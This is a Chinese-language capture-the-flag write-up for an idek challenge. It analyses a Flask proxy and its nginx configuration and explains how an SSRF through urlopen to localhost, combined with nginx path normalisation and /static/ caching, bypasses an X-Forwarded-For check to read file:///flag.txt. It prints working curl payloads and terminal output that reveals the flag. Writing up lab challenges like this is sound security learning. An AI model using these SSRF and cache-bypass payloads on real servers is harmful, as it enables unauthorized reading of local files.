关键代码分析

```python
@app.route('/proxy/<path:path>')
@limiter.limit("5/minute")
def proxy(path):
    remote_addr = request.headers.get('X-Forwarded-For') or request.remote_addr
    is_authorized = request.headers.get('X-Premium-Token') == PREMIUM_TOKEN or remote_addr == "127.0.0
    try:
        page = urlopen(path, timeout=.5)
    except:
        return render_template('proxy.html', auth=is_authorized)
    if is_authorized:
        output = page.read().decode('latin-1')
    else:
        output = f"<pre>{page.headers.as_string()}</pre>"
    return render_template('proxy.html', auth=is_authorized, content=output)

@app.route('/premium')
def premium():
    return "we're sorry, but premium membership is not yet available :( please check back soon!"

serve(app, host="0.0.0.0", port=3000, threads=20)
```

只有 is-authorized 才会输出完整内容，让其为 true 的方法是 X-Forwarded-For

其中 urlopen()会删除参数中#后的部分

nginx.conf 中：

```nginx
    location / {
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_pass http://localhost:3000;
    }

    location ^~ /static/ {
        proxy_pass http://localhost:3000;
        proxy_set_header Host $http_host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_cache my_zone;
    add_header X-Proxy-Cache $upstream_cache_status;
```

每次代理访问会自动添加 X-Forwarded-For

这里不是：proxy_set_header X-Forwarded-For $http_x_forwarded_for;

而是：**$proxy_add_x_forwarded_for**

如果没传 X-Forwarded-For，nginx 会转发成：X-Forwarded-For: <真实 IP>

如果传了 X-Forwarded-For: 127.0.0.1，nginx 会变成：X-Forwarded-For: 127.0.0.1, <真实 IP>

外部设置请求头不可能，只有利用 urlopen 请求 127.0.0.1，会认为是服务端本身请求实现绕过

proxy_cache my_zone 这行指令明确在请求/static 时启用了缓存

主要逻辑如下

客户端发起第一层请求，由 nginx 加上 X-Forwarded-For 转发给 Flask，此时获取 urlopen(http://127.0.0.1:1337/proxy/file%3a///flag.txt) ，等待响应，urlopen()发起第二层请求，此时 X-Forwarded-For 符合要求，内层 Flask 读取 flag 并返回给第一层请求，此时第一层还会再次判断 X-Forwarded-For

运用缓存使得外层不经过判断，直接从 nginx 缓存中提取所需要的内容
第一次请求某个 /static/...：客户端 -> nginx -> Flask -> nginx 缓存响应 -> 客户端
第二次请求同一个 /static/...：客户端 -> nginx -> 直接从缓存返回 -> 客户端
通常在 客户端 -> nginx -> Flask 架构里，nginx 总是先处理请求；如果 nginx 命中缓存，后端 Flask 就不会执行

要触发缓存就要请求在/static 路径下，结合 NGINX 转发时的 URI 规范化
nginx1.18 转发规范化

- 在解码后的路径上，Nginx 会**移除单点** `.` **和双点** `..` **路径段**，并对路径进行“展开”。例如：
  - `/foo/../bar` → `/bar`
  - `/foo/./bar` → `/foo/bar`
  - `/..%2F..%2F..%2Fetc/passwd` 会被解码然后逐级上跳。

payload

$ curl --path-as-is
http://192.168.52.134:1337/proxy/http://127.0.0.1:1337/proxy/file%3a///flag.txt%2523/../../../static/asdf
$ curl --path-as-is
http://192.168.52.134:1337/proxy/file:///flag.txt%23/../../../static/asdf | grep "idek{.*}"

```
┌──(kali㉿kali)-[~]
└─$ curl --path-as-is http://192.168.52.134:1337/proxy/file:///flag.txt%23/../../../static/asdf | grep "idek{.*}"
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   862  100   862    0     0   404k      0 --:--:-- --:--:-- --:--:--  420k
<iframe name="content" height="100%" width="100%" srcdoc="idek{4bcc334f19a1862df51f958c44bb5d66}">
```